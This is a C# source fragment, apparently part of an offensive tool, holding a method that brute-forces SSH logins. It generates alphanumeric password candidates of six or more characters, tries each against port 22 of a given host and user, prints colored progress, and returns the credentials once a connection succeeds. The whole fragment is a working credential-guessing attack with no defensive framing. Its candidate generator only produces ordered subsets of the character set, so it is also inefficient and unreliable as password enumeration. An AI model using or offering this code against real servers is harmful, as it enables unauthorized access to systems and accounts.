/// <summary> /// /// </summary> /// <param name="target"></param> /// <returns></returns> public SSHData SendS2(string target, string user) { var reponse = new SSHData { }; var numbers = "0123456789"; var upperLetters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; var lowerLetters = upperLetters.ToLower(); var all = upperLetters + numbers + lowerLetters; var str = all; var results = from e in Range(0, BigInteger.Pow(2, str.Length)) let p = from b in Enumerable.Range(1, str.Length) select(e & BigInteger.Pow(2, b - 1)) == 0 ? (char?)null : str[b - 1] select string.Join(string.Empty, p); bool valid = false; SshClient CS = new SshClient(target, 22, "user", "pass"); BigInteger index = 0; foreach (var pass in results.Cast <object>() .Select((r, i) => new { Value = r, Index = i })) { if (pass.Value.ToString().Length >= 6) { Console.ForegroundColor = ConsoleColor.Cyan; Console.Write("\nIndex of string resulted is "); Console.ForegroundColor = ConsoleColor.DarkMagenta; Console.WriteLine(pass.Index); Console.ForegroundColor = ConsoleColor.Cyan; Console.Write("Index of string with length >= 6 is "); Console.ForegroundColor = ConsoleColor.DarkMagenta; Console.WriteLine(++index); Console.ForegroundColor = ConsoleColor.DarkMagenta; Console.ResetColor(); Console.WriteLine("Check for user=\"" + user + "\" and password=\"" + pass.Value + "\""); CS = new SshClient(target, 22, user, pass.Value.ToString()); try { CS.Connect(); } catch (Exception Ex) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(Ex.Message); Console.ResetColor(); } bool IsConnected = CS.IsConnected; if (IsConnected) { Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine("Success! The password are indentificated!"); reponse = new SSHData { SSHUser = user, SSHPasword = pass.Value.ToString(), SSHTarget = target }; Console.ResetColor(); break; } } } CS.Disconnect(); return(reponse); }